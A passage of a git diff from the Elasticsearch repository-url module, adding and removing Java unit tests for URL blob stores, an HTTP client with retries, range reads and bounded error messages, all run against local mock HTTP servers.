b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/FileURLBlobStoreTests.java @@ -0,0 +1,60 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url; + +import org.elasticsearch.common.blobstore.BlobContainer; +import org.elasticsearch.common.blobstore.BlobPath; +import org.elasticsearch.common.blobstore.url.http.URLHttpClient; +import org.elasticsearch.common.blobstore.url.http.URLHttpClientSettings; +import org.elasticsearch.common.bytes.BytesArray; +import org.elasticsearch.common.settings.Settings; +import org.junit.BeforeClass; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; + +import static org.mockito.Mockito.mock; + +public class FileURLBlobStoreTests extends AbstractURLBlobStoreTests { + private static byte[] data; + private static String blobName; + private static URLBlobStore blobStore; + private static Path file; + + @BeforeClass + public static void setUpData() throws Exception { + data = randomByteArrayOfLength(512); + file = createTempFile(); + blobName = file.getFileName().toString(); + Files.write(file, data); + blobStore = new URLBlobStore(Settings.EMPTY, file.getParent().toUri().toURL(), mock(URLHttpClient.class), + mock(URLHttpClientSettings.class)); + } + + @Override + BytesArray getOriginalData() { + return new BytesArray(data); + } + + @Override + BlobContainer getBlobContainer() { + return blobStore.blobContainer(BlobPath.EMPTY); + } + + @Override + String getBlobName() { + return blobName; + } + + @Override + public void testURLBlobStoreCanReadBlobRange() throws IOException { + expectThrows(UnsupportedOperationException.class, () -> getBlobContainer().readBlob("test", 0, 12)); + } +} diff --git a/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/HttpURLBlobStoreTests.java b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/HttpURLBlobStoreTests.java new file mode 100644 index 0000000000000..f593f63515ddd --- /dev/null +++ b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/HttpURLBlobStoreTests.java @@ -0,0 +1,136 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url; + +import com.sun.net.httpserver.Headers; +import com.sun.net.httpserver.HttpServer; +import org.elasticsearch.common.SuppressForbidden; +import org.elasticsearch.common.blobstore.BlobContainer; +import org.elasticsearch.common.blobstore.BlobPath; +import org.elasticsearch.common.blobstore.url.http.URLHttpClient; +import org.elasticsearch.common.blobstore.url.http.URLHttpClientSettings; +import org.elasticsearch.common.bytes.BytesArray; +import org.elasticsearch.common.io.Streams; +import org.elasticsearch.common.network.InetAddresses; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.mocksocket.MockHttpServer; +import org.elasticsearch.rest.RestStatus; +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetAddress; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +@SuppressForbidden(reason = "use http server") +public class HttpURLBlobStoreTests extends AbstractURLBlobStoreTests { + private static final Pattern RANGE_PATTERN = Pattern.compile("bytes=(\\d+)-(\\d+)$"); + private static HttpServer httpServer; + private static String blobName; + private static byte[] content; + private static URLHttpClient httpClient; + private static URLHttpClient.Factory httpClientFactory; + + private URLBlobStore urlBlobStore; + + @BeforeClass + public static void startHttp() throws Exception { + content = randomByteArrayOfLength(randomIntBetween(512, 2048)); + blobName = randomAlphaOfLength(8); + + httpServer = MockHttpServer.createHttp(new InetSocketAddress(InetAddress.getLoopbackAddress().getHostAddress(), 0), 0); + + httpServer.createContext("/indices/" + blobName, exchange -> { + try { + Streams.readFully(exchange.getRequestBody()); + + Headers requestHeaders = exchange.getRequestHeaders(); + final String range = requestHeaders.getFirst("Range"); + if (range == null) { + exchange.sendResponseHeaders(RestStatus.OK.getStatus(), content.length); + OutputStream responseBody = exchange.getResponseBody(); + responseBody.write(content); + return; + } + + final Matcher rangeMatcher = RANGE_PATTERN.matcher(range); + if (rangeMatcher.matches() == false) { + exchange.sendResponseHeaders(RestStatus.REQUESTED_RANGE_NOT_SATISFIED.getStatus(), -1); + return; + } + + int lowerBound = Integer.parseInt(rangeMatcher.group(1)); + int upperBound = Math.min(Integer.parseInt(rangeMatcher.group(2)), content.length - 1); + int rangeLength = upperBound - lowerBound + 1; + if (lowerBound >= content.length || lowerBound > upperBound || rangeLength > content.length) { + exchange.sendResponseHeaders(RestStatus.REQUESTED_RANGE_NOT_SATISFIED.getStatus(), -1); + return; + } + + exchange.getResponseHeaders().add("Content-Range", "bytes " + lowerBound + "-" + upperBound + "/" + content.length); + exchange.sendResponseHeaders(RestStatus.PARTIAL_CONTENT.getStatus(), rangeLength); + OutputStream responseBody = exchange.getResponseBody(); + responseBody.write(content, lowerBound, rangeLength); + } finally { + exchange.close(); + } + }); + + httpServer.start(); + + httpClientFactory = new URLHttpClient.Factory(); + httpClient = httpClientFactory.create(URLHttpClientSettings.fromSettings(Settings.EMPTY)); + } + + @AfterClass + public static void stopHttp() throws IOException { + httpServer.stop(0); + httpServer = null; + httpClient.close(); + httpClientFactory.close(); + } + + @Before + public void storeSetup() throws MalformedURLException { + final URLHttpClientSettings httpClientSettings = URLHttpClientSettings.fromSettings(Settings.EMPTY); + urlBlobStore = new URLBlobStore(Settings.EMPTY, new URL(getEndpointForServer()), httpClient, httpClientSettings); + } + + @Override + BytesArray getOriginalData() { + return new BytesArray(content); + } + + @Override + BlobContainer getBlobContainer() { + return urlBlobStore.blobContainer(BlobPath.EMPTY.add("indices")); + } + + @Override + String getBlobName() { + return blobName; + } + + public void testRangeReadOutsideOfLegalRange() { + BlobContainer container = getBlobContainer(); + expectThrows(IllegalArgumentException.class, () -> container.readBlob(blobName, -1, content.length).read()); + expectThrows(IOException.class, () -> container.readBlob(blobName, content.length + 1, content.length).read()); + } + + private String getEndpointForServer() { + InetSocketAddress address = httpServer.getAddress(); + return "http://" + InetAddresses.toUriString(address.getAddress()) + ":" + address.getPort() + "/"; + } +} diff --git a/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/URLBlobContainerRetriesTests.java b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/URLBlobContainerRetriesTests.java new file mode 100644 index 0000000000000..7eb1e13b0e0e8 --- /dev/null +++ b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/URLBlobContainerRetriesTests.java @@ -0,0 +1,103 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url; + +import org.apache.http.ConnectionClosedException; +import org.elasticsearch.common.SuppressForbidden; +import org.elasticsearch.common.blobstore.BlobContainer; +import org.elasticsearch.common.blobstore.BlobPath; +import org.elasticsearch.common.blobstore.url.http.URLHttpClient; +import org.elasticsearch.common.blobstore.url.http.URLHttpClientIOException; +import org.elasticsearch.common.blobstore.url.http.URLHttpClientSettings; +import org.elasticsearch.common.network.InetAddresses; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.unit.ByteSizeValue; +import org.elasticsearch.common.unit.TimeValue; +import org.elasticsearch.repositories.blobstore.AbstractBlobContainerRetriesTestCase; +import org.hamcrest.Matcher; +import org.junit.AfterClass; +import org.junit.BeforeClass; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.SocketTimeoutException; +import java.net.URL; + +import static org.hamcrest.Matchers.either; +import static org.hamcrest.Matchers.instanceOf; + +@SuppressForbidden(reason = "use a http server") +public class URLBlobContainerRetriesTests extends AbstractBlobContainerRetriesTestCase { + private static URLHttpClient.Factory factory; + + @BeforeClass + public static void setUpHttpClient() { + factory = new URLHttpClient.Factory(); + } + + @AfterClass + public static void tearDownHttpClient() throws IOException { + factory.close(); + } + + @Override + protected String downloadStorageEndpoint(String blob) { + return "/" + blob; + } + + @Override + protected String bytesContentType() { + return "application/octet-stream"; + } + + @Override + protected Class unresponsiveExceptionType() { + return URLHttpClientIOException.class; + } + + @Override + protected Matcher readTimeoutExceptionMatcher() { + // If the timeout is too tight it's possible that an URLHttpClientIOException is thrown as that + // exception is thrown before reading data from the response body. + return either(instanceOf(SocketTimeoutException.class)).or(instanceOf(ConnectionClosedException.class)) + .or(instanceOf(RuntimeException.class)).or(instanceOf(URLHttpClientIOException.class)); + } + + @Override + protected BlobContainer createBlobContainer(Integer maxRetries, + TimeValue readTimeout, + Boolean disableChunkedEncoding, + ByteSizeValue bufferSize) { + Settings.Builder settingsBuilder = Settings.builder(); + + if (maxRetries != null) { + settingsBuilder.put("http_max_retries", maxRetries); + } + + if (readTimeout != null) { + settingsBuilder.put("http_socket_timeout", readTimeout); + } + + try { + final Settings settings = settingsBuilder.build(); + final URLHttpClientSettings httpClientSettings = URLHttpClientSettings.fromSettings(settings); + URLBlobStore urlBlobStore = + new URLBlobStore(settings, new URL(getEndpointForServer()), factory.create(httpClientSettings), httpClientSettings); + return urlBlobStore.blobContainer(BlobPath.EMPTY); + } catch (MalformedURLException e) { + throw new RuntimeException("Unable to create URLBlobStore", e); + } + } + + private String getEndpointForServer() { + InetSocketAddress address = httpServer.getAddress(); + return "http://" + InetAddresses.toUriString(address.getAddress()) + ":" + address.getPort() + "/"; + } +} diff --git a/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/URLBlobStoreTests.java b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/URLBlobStoreTests.java deleted file mode 100644 index 8e74118e60f4c..0000000000000 --- a/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/URLBlobStoreTests.java +++ /dev/null @@ -1,91 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.common.blobstore.url; - -import com.sun.net.httpserver.HttpServer; -import org.elasticsearch.common.SuppressForbidden; -import org.elasticsearch.common.blobstore.BlobContainer; -import org.elasticsearch.common.blobstore.BlobPath; -import org.elasticsearch.common.settings.Settings; -import org.elasticsearch.mocksocket.MockHttpServer; -import org.elasticsearch.test.ESTestCase; -import org.junit.AfterClass; -import org.junit.Before; -import org.junit.BeforeClass; - -import java.io.IOException; -import java.io.InputStream; -import java.io.OutputStream; -import java.net.InetAddress; -import java.net.InetSocketAddress; -import java.net.MalformedURLException; -import java.net.URL; -import java.nio.file.NoSuchFileException; - -@SuppressForbidden(reason = "use http server") -public class URLBlobStoreTests extends ESTestCase { - - private static HttpServer httpServer; - private static String blobName; - private static byte[] message = new byte[512]; - private URLBlobStore urlBlobStore; - - @BeforeClass - public static void startHttp() throws Exception { - for (int i = 0; i < message.length; ++i) { - message[i] = randomByte(); - } - blobName = randomAlphaOfLength(8); - - httpServer = MockHttpServer.createHttp(new InetSocketAddress(InetAddress.getLoopbackAddress().getHostAddress(), 6001), 0); - - httpServer.createContext("/indices/" + blobName, (s) -> { - s.sendResponseHeaders(200, message.length); - OutputStream responseBody = s.getResponseBody(); - responseBody.write(message); - responseBody.close(); - }); - - httpServer.start(); - } - - @AfterClass - public static void stopHttp() throws IOException { - httpServer.stop(0); - httpServer = null; - } - - @Before - public void storeSetup() throws MalformedURLException { - Settings settings = Settings.EMPTY; - String spec = "http://localhost:6001/"; - urlBlobStore = new URLBlobStore(settings, new URL(spec)); - } - - public void testURLBlobStoreCanReadBlob() throws IOException { - BlobContainer container = urlBlobStore.blobContainer(BlobPath.cleanPath().add("indices")); - try (InputStream stream = container.readBlob(blobName)) { - byte[] bytes = new byte[message.length]; - int read = stream.read(bytes); - assertEquals(message.length, read); - assertArrayEquals(message, bytes); - } - } - - public void testNoBlobFound() throws IOException { - BlobContainer container = urlBlobStore.blobContainer(BlobPath.cleanPath().add("indices")); - String incorrectBlobName = "incorrect_" + blobName; - try (InputStream ignored = container.readBlob(incorrectBlobName)) { - fail("Should have thrown NoSuchFileException exception"); - ignored.read(); - } catch (NoSuchFileException e) { - assertEquals(String.format("[%s] blob not found", incorrectBlobName), e.getMessage()); - } - } -} diff --git a/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/http/RetryingHttpInputStreamTests.java b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/http/RetryingHttpInputStreamTests.java new file mode 100644 index 0000000000000..a8fe9a5acd409 --- /dev/null +++ b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/http/RetryingHttpInputStreamTests.java @@ -0,0 +1,215 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url.http; + +import org.elasticsearch.common.io.Streams; +import org.elasticsearch.core.internal.io.IOUtils; +import org.elasticsearch.rest.RestStatus; +import org.elasticsearch.test.ESTestCase; + +import java.io.IOException; +import java.net.URI; +import java.util.Iterator; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.concurrent.atomic.AtomicInteger; + +import static org.hamcrest.core.IsEqual.equalTo; +import static org.hamcrest.core.StringContains.containsString; +import static org.mockito.Matchers.any; +import static org.mockito.Matchers.anyInt; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class RetryingHttpInputStreamTests extends ESTestCase { + public void testUnderlyingInputStreamIsAbortedAfterAFailureAndRetries() throws Exception { + final URI blobURI = new URI("blob"); + final int blobSize = randomIntBetween(20, 1024); + final int firstChunkSize = randomIntBetween(1, blobSize - 1); + + final HttpResponseInputStream firstHttpResponseInputStream = mock(HttpResponseInputStream.class); + when(firstHttpResponseInputStream.read(any(), anyInt(), anyInt())) + .thenReturn(firstChunkSize) + .thenThrow(new IOException()); + final Map firstResponseHeaders = Map.of("Content-Length", Integer.toString(blobSize)); + + final HttpResponseInputStream secondHttpResponseInputStream = mock(HttpResponseInputStream.class); + when(secondHttpResponseInputStream.read(any(), anyInt(), anyInt())) + .thenReturn(blobSize - firstChunkSize) + .thenReturn(-1); + final Map secondResponseHeaders = + Map.of("Content-Range", String.format(Locale.ROOT, "bytes %d-%d/%d", firstChunkSize, blobSize - 1, blobSize)); + + final List responses = List.of( + new MockHttpResponse(firstHttpResponseInputStream, RestStatus.OK.getStatus(), firstResponseHeaders), + new MockHttpResponse(secondHttpResponseInputStream, RestStatus.PARTIAL_CONTENT.getStatus(), secondResponseHeaders) { + @Override + protected void assertExpectedRequestHeaders(Map requestHeaders) { + assertThat("Expected a Range request but it wasn't", requestHeaders.containsKey("Range"), equalTo(true)); + } + }); + + final Iterator responsesIterator = responses.iterator(); + + final URLHttpClient urlHttpClient = new URLHttpClient(null, null) { + @Override + public HttpResponse get(URI uri, Map headers) { + assert responsesIterator.hasNext() : "Expected less calls"; + + final MockHttpResponse mockHttpResponse = responsesIterator.next(); + mockHttpResponse.assertExpectedRequestHeaders(headers); + return mockHttpResponse; + } + }; + + Streams.readFully(new RetryingHttpInputStream("blob", blobURI, urlHttpClient, 1)); + + verify(firstHttpResponseInputStream, times(1)).close(); + verify(firstHttpResponseInputStream, times(1)).abort(); + + verify(secondHttpResponseInputStream, times(1)).close(); + } + + public void testClosesTheResponseAndTheInputStreamWhenTheResponseIsUnexpected() throws Exception { + final URI blobURI = new URI("blob"); + final AtomicInteger closed = new AtomicInteger(0); + final HttpResponseInputStream httpResponseInputStream = mock(HttpResponseInputStream.class); + when(httpResponseInputStream.read(any(), anyInt(), anyInt())).thenThrow(new IOException()); + String errorMessage = randomAlphaOfLength(100); + int statusCode = randomFrom(RestStatus.CREATED.getStatus(), RestStatus.ACCEPTED.getStatus(), RestStatus.NO_CONTENT.getStatus()); + + final URLHttpClient urlHttpClient = new URLHttpClient(null, null) { + @Override + public HttpResponse get(URI uri, Map headers) { + return new HttpResponse() { + @Override + public HttpResponseInputStream getInputStream() throws IOException { + return httpResponseInputStream; + } + + @Override + public int getStatusCode() { + return statusCode; + } + + @Override + public String getHeader(String headerName) { + return null; + } + + @Override + public String getBodyAsString(int maxSize) { + IOUtils.closeWhileHandlingException(httpResponseInputStream); + return errorMessage; + } + + @Override + public void close() throws IOException { + closed.incrementAndGet(); + } + }; + } + }; + + final IOException exception = expectThrows(IOException.class, + () -> Streams.readFully(new RetryingHttpInputStream("blob", blobURI, urlHttpClient, 0))); + + assertThat(closed.get(), equalTo(1)); + verify(httpResponseInputStream, times(1)).close(); + assertThat(exception.getMessage(), containsString(errorMessage)); + assertThat(exception.getMessage(), containsString(Integer.toString(statusCode))); + } + + public void testRetriesTheRequestAfterAFailureUpToMaxRetries() throws Exception { + final URI blobURI = new URI("blob"); + final int maxRetries = randomIntBetween(0, 5); + final AtomicInteger attempts = new AtomicInteger(0); + + final URLHttpClient urlHttpClient = new URLHttpClient(null, null) { + @Override + public HttpResponse get(URI uri, Map headers) throws IOException { + attempts.incrementAndGet(); + if (randomBoolean()) { + final Integer statusCode = + randomFrom(RestStatus.INTERNAL_SERVER_ERROR.getStatus(), RestStatus.SERVICE_UNAVAILABLE.getStatus()); + throw new URLHttpClientException(statusCode, "Server error"); + } else { + throw new URLHttpClientIOException("Unable to execute request", new IOException()); + } + } + }; + + expectThrows(IOException.class, + () -> Streams.readFully(new RetryingHttpInputStream("blob", blobURI, urlHttpClient, maxRetries))); + + assertThat(attempts.get(), equalTo(maxRetries + 1)); + } + + public void testFailsImmediatelyAfterNotFoundResponse() throws Exception { + final URI blobURI = new URI("blob"); + final int maxRetries = randomIntBetween(0, 5); + final AtomicInteger attempts = new AtomicInteger(0); + + final URLHttpClient urlHttpClient = new URLHttpClient(null, null) { + @Override + public HttpResponse get(URI uri, Map headers) { + attempts.incrementAndGet(); + throw new URLHttpClientException(RestStatus.NOT_FOUND.getStatus(), "Not-Found"); + } + }; + + expectThrows(IOException.class, + () -> Streams.readFully(new RetryingHttpInputStream("blob", blobURI, urlHttpClient, maxRetries))); + + assertThat(attempts.get(), equalTo(1)); + } + + static class MockHttpResponse implements URLHttpClient.HttpResponse { + private final HttpResponseInputStream inputStream; + private final int statusCode; + private final Map headers; + + MockHttpResponse(HttpResponseInputStream inputStream, int statusCode, Map headers) { + this.inputStream = inputStream; + this.statusCode = statusCode; + this.headers = headers; + } + + @Override + public HttpResponseInputStream getInputStream() { + return inputStream; + } + + @Override + public int getStatusCode() { + return statusCode; + } + + @Override + public String getHeader(String headerName) { + return headers.get(headerName); + } + + @Override + public void close() { + } + + @Override + public String getBodyAsString(int maxSize) { + return null; + } + + protected void assertExpectedRequestHeaders(Map requestHeaders) { + + } + } +} diff --git a/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientTests.java b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientTests.java new file mode 100644 index 0000000000000..cd9ab35c12e21 --- /dev/null +++ b/modules/repository-url/src/test/java/org/elasticsearch/common/blobstore/url/http/URLHttpClientTests.java @@ -0,0 +1,240 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url.http; + +import com.sun.net.httpserver.Headers; +import com.sun.net.httpserver.HttpServer; +import org.elasticsearch.common.SuppressForbidden; +import org.elasticsearch.common.bytes.BytesReference; +import org.elasticsearch.common.io.Streams; +import org.elasticsearch.common.network.InetAddresses; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.mocksocket.MockHttpServer; +import org.elasticsearch.rest.RestStatus; +import org.elasticsearch.test.ESTestCase; +import org.junit.AfterClass; +import org.junit.BeforeClass; + +import java.net.InetAddress; +import java.net.InetSocketAddress; +import java.net.URI; +import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; +import java.util.Arrays; +import java.util.Map; + +import static org.elasticsearch.common.blobstore.url.http.URLHttpClient.createErrorMessage; +import static org.hamcrest.core.Is.is; +import static org.hamcrest.core.IsEqual.equalTo; + +@SuppressForbidden(reason = "uses a http server") +public class URLHttpClientTests extends ESTestCase { + private static HttpServer httpServer; + private static URLHttpClient.Factory httpClientFactory; + private static URLHttpClient httpClient; + + @BeforeClass + public static void setUpHttpServer() throws Exception { + httpServer = MockHttpServer.createHttp(new InetSocketAddress(InetAddress.getLoopbackAddress(), 0), 0); + httpServer.start(); + httpClientFactory = new URLHttpClient.Factory(); + final Settings settings = Settings.builder() + .put("http_max_retries", 0) + .build(); + httpClient = httpClientFactory.create(URLHttpClientSettings.fromSettings(settings)); + } + + @AfterClass + public static void tearDownHttpServer() throws Exception { + httpServer.stop(1); + httpClient.close(); + httpClientFactory.close(); + } + + public void testSuccessfulRequest() throws Exception { + byte[] originalData = randomByteArrayOfLength(randomIntBetween(100, 1024)); + RestStatus statusCode = + randomFrom(RestStatus.OK, RestStatus.PARTIAL_CONTENT); + + httpServer.createContext("/correct_data", exchange -> { + try { + assertThat(exchange.getRequestMethod(), equalTo("GET")); + Streams.readFully(exchange.getRequestBody()); + + exchange.sendResponseHeaders(statusCode.getStatus(), originalData.length); + exchange.getResponseBody().write(originalData); + } finally { + exchange.close(); + } + }); + + final URLHttpClient.HttpResponse httpResponse = executeRequest("/correct_data"); + final BytesReference responseBytes = Streams.readFully(httpResponse.getInputStream()); + + assertThat(httpResponse.getStatusCode(), equalTo(statusCode.getStatus())); + assertThat(BytesReference.toBytes(responseBytes), equalTo(originalData)); + } + + public void testEmptyErrorMessageBody() { + final Integer errorCode = randomFrom(RestStatus.BAD_GATEWAY.getStatus(), + RestStatus.REQUEST_ENTITY_TOO_LARGE.getStatus(), RestStatus.INTERNAL_SERVER_ERROR.getStatus()); + + httpServer.createContext("/empty_error", exchange -> { + assertThat(exchange.getRequestMethod(), equalTo("GET")); + Streams.readFully(exchange.getRequestBody()); + + try { + final Headers responseHeaders = exchange.getResponseHeaders(); + if (randomBoolean()) { + // Invalid content-type + final String contentType = randomAlphaOfLength(100); + Charset charset = Charset.forName("ISO-8859-4"); + String errorMessage = randomAlphaOfLength(100); + responseHeaders.add("Content-Type", contentType + "; charset=" + charset.name()); + final byte[] errorMessageBytes = errorMessage.getBytes(charset); + exchange.sendResponseHeaders(errorCode, errorMessageBytes.length); + exchange.getResponseBody().write(errorMessageBytes); + } else { + // Empty body + exchange.sendResponseHeaders(errorCode, -1); + } + } finally { + exchange.close(); + } + }); + + final URLHttpClientException urlHttpClientException = + expectThrows(URLHttpClientException.class, () -> executeRequest("/empty_error")); + + assertThat(urlHttpClientException.getMessage(), is(createErrorMessage(errorCode, ""))); + assertThat(urlHttpClientException.getStatusCode(), equalTo(errorCode)); + } + + public void testErrorMessageParsing() { + final Charset charset; + final String errorMessage; + final int errorMessageSize = randomIntBetween(1, 100); + if (randomBoolean()) { + charset = Charset.forName("ISO-8859-4"); + errorMessage = randomAlphaOfLength(errorMessageSize); + } else { + charset = StandardCharsets.UTF_8; + errorMessage = randomUnicodeOfLength(errorMessageSize); + } + final Integer errorCode = randomFrom(RestStatus.BAD_GATEWAY.getStatus(), + RestStatus.REQUEST_ENTITY_TOO_LARGE.getStatus(), RestStatus.INTERNAL_SERVER_ERROR.getStatus()); + + httpServer.createContext("/error", exchange -> { + assertThat(exchange.getRequestMethod(), equalTo("GET")); + Streams.readFully(exchange.getRequestBody()); + + try { + final Headers responseHeaders = exchange.getResponseHeaders(); + final String contentType = randomFrom("text/plain", "text/html", "application/json", "application/xml"); + responseHeaders.add("Content-Type", contentType + "; charset=" + charset.name()); + final byte[] errorMessageBytes = errorMessage.getBytes(charset); + exchange.sendResponseHeaders(errorCode, errorMessageBytes.length); + exchange.getResponseBody().write(errorMessageBytes); + } finally { + exchange.close(); + } + }); + + final URLHttpClientException urlHttpClientException = + expectThrows(URLHttpClientException.class, () -> executeRequest("/error")); + + assertThat(urlHttpClientException.getMessage(), equalTo(createErrorMessage(errorCode, errorMessage))); + assertThat(urlHttpClientException.getStatusCode(), equalTo(errorCode)); + } + + public void testLargeErrorMessageIsBounded() throws Exception { + final Charset charset; + final String errorMessage; + final int errorMessageSize = randomIntBetween(URLHttpClient.MAX_ERROR_MESSAGE_BODY_SIZE + 1, + URLHttpClient.MAX_ERROR_MESSAGE_BODY_SIZE * 2); + if (randomBoolean()) { + charset = Charset.forName("ISO-8859-4"); + errorMessage = randomAlphaOfLength(errorMessageSize); + } else { + charset = StandardCharsets.UTF_8; + errorMessage = randomUnicodeOfCodepointLength(errorMessageSize); + } + final Integer errorCode = randomFrom(RestStatus.BAD_GATEWAY.getStatus(), + RestStatus.REQUEST_ENTITY_TOO_LARGE.getStatus(), RestStatus.INTERNAL_SERVER_ERROR.getStatus()); + + httpServer.createContext("/large_error", exchange -> { + assertThat(exchange.getRequestMethod(), equalTo("GET")); + Streams.readFully(exchange.getRequestBody()); + + try { + final Headers responseHeaders = exchange.getResponseHeaders(); + final String contentType = randomFrom("text/plain", "text/html", "application/json", "application/xml"); + responseHeaders.add("Content-Type", contentType + "; charset=" + charset.name()); + + final byte[] errorMessageBytes = errorMessage.getBytes(charset); + exchange.sendResponseHeaders(errorCode, errorMessageBytes.length); + + exchange.getResponseBody().write(errorMessageBytes); + } finally { + exchange.close(); + } + }); + + final URLHttpClientException urlHttpClientException = + expectThrows(URLHttpClientException.class, () -> executeRequest("/large_error")); + + final byte[] bytes = errorMessage.getBytes(charset); + final String strippedErrorMessage = new String(Arrays.copyOf(bytes, URLHttpClient.MAX_ERROR_MESSAGE_BODY_SIZE), charset); + + assertThat(urlHttpClientException.getMessage(), equalTo(createErrorMessage(errorCode, strippedErrorMessage))); + assertThat(urlHttpClientException.getStatusCode(), equalTo(errorCode)); + } + + public void testInvalidErrorMessageCharsetIsIgnored() { + final Integer errorCode = randomFrom(RestStatus.BAD_GATEWAY.getStatus(), + RestStatus.REQUEST_ENTITY_TOO_LARGE.getStatus(), RestStatus.INTERNAL_SERVER_ERROR.getStatus()); + + httpServer.createContext("/unknown_charset", exchange -> { + assertThat(exchange.getRequestMethod(), equalTo("GET")); + Streams.readFully(exchange.getRequestBody()); + + try { + final Headers responseHeaders = exchange.getResponseHeaders(); + final String contentType = randomFrom("text/plain", "text/html", "application/json", "application/xml"); + responseHeaders.add("Content-Type", contentType + "; charset=" + randomAlphaOfLength(4)); + + final byte[] errorMessageBytes = randomByteArrayOfLength(randomIntBetween(1, 100)); + exchange.sendResponseHeaders(errorCode, errorMessageBytes.length); + + exchange.getResponseBody().write(errorMessageBytes); + } finally { + exchange.close(); + } + }); + + final URLHttpClientException urlHttpClientException = + expectThrows(URLHttpClientException.class, () -> executeRequest("/unknown_charset")); + + assertThat(urlHttpClientException.getMessage(), is(createErrorMessage(errorCode, ""))); + assertThat(urlHttpClientException.getStatusCode(), equalTo(errorCode)); + } + + private URLHttpClient.HttpResponse executeRequest(String endpoint) throws Exception { + return AccessController.doPrivileged((PrivilegedExceptionAction) () -> { + return httpClient.get(getURIForEndpoint(endpoint), Map.of()); + }); + } + + private URI getURIForEndpoint(String endpoint) throws Exception { + InetSocketAddress address = httpServer.getAddress(); + return new URI("http://" + InetAddresses.toUriString(address.getAddress()) + ":" + address.getPort() + endpoint); + } +} diff --git a/modules/repository-url/src/test/java/org/elasticsearch/repositories/url/URLFixture.java b/modules/repository-url/src/test/java/org/elasticsearch/repositories/url/URLFixture.java deleted file mode 100644 index 5f757ace81522..0000000000000 --- a/modules/repository-url/src/test/java/org/elasticsearch/repositories/url/URLFixture.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ -package org.elasticsearch.repositories.url; - -import org.elasticsearch.test.fixture.AbstractHttpFixture; -import org.elasticsearch.common.SuppressForbidden; -import org.elasticsearch.rest.RestStatus; - -import java.io.IOException; -import java.net.InetAddress; -import java.nio.file.Files; -import java.nio.file.Path; -import java.nio.file.Paths; -import java.util.HashMap; -import java.util.Map; - -/** - * This {@link URLFixture} exposes a filesystem directory over HTTP. It is used in repository-url - * integration tests to expose a directory created by a regular FS repository. - */ -public class URLFixture extends AbstractHttpFixture { - - private final Path repositoryDir; - - /** - * Creates a {@link URLFixture} - */ - private URLFixture(final int port, final String workingDir, final String repositoryDir) { - super(workingDir, port); - this.repositoryDir = dir(repositoryDir); - } - - public static void main(String[] args) throws Exception { - if (args == null || args.length != 3) { - throw new IllegalArgumentException("URLFixture "); - } - String workingDirectory = args[1]; - if(Files.exists(dir(workingDirectory)) == false) { - throw new IllegalArgumentException("Configured working directory " + workingDirectory + " does not exist"); - } - String repositoryDirectory = args[2]; - if(Files.exists(dir(repositoryDirectory)) == false) { - throw new IllegalArgumentException("Configured repository directory " + 